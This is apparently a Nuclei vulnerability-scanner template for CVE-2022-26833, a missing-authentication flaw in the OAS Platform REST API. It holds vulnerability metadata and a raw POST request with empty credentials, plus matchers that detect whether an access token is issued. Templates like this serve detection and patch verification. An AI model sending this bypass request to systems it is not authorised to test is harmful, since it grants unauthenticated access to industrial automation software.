id: CVE-2022-26833

info:
  name: Open Automation Software OAS Platform V16.00.0121 - Missing Authentication
  author: true13
  severity: critical
  description: |
    An improper authentication vulnerability exists in the REST API functionality of Open Automation Software OAS Platform V16.00.0121. A specially-crafted series of HTTP requests can lead to unauthenticated use of the REST API. An attacker can send a series of HTTP requests to trigger this vulnerability.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the affected system.
  remediation: |
    Apply the latest security patch or update to the Open Automation Software OAS Platform V16.00.0121 to fix the missing authentication issue.
  reference:
    - https://www.talosintelligence.com/vulnerability_reports/TALOS-2022-1513
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26833
    - https://talosintelligence.com/vulnerability_reports/TALOS-2022-1513
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
    cvss-score: 9.4
    cve-id: CVE-2022-26833
    cwe-id: CWE-306
    epss-score: 0.8736
    epss-percentile: 0.99469
    cpe: cpe:2.3:a:openautomationsoftware:oas_platform:16.00.0112:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: openautomationsoftware
    product: oas_platform
  tags: cve2022,cve,oas,oss,unauth,openautomationsoftware,vkev,vuln

http:
  - raw:
      - |
        POST /OASREST/v2/authenticate HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
        Connection: keep-alive
        Content-Type: application/json

        {"username": "", "password": ""}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"status":'
          - '"data":'
          - '"token":'
          - '"clientid":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 490a0046304402203ba473c9b2563276e5c201057f73a5747efb698da7495b9280161167ee31a3d702205ae37c161a787a7d01f3a147f4be3c68ab1f76ea27c5e8e5e53148eab3003054:922c64590222798bb761d5b6d8e72950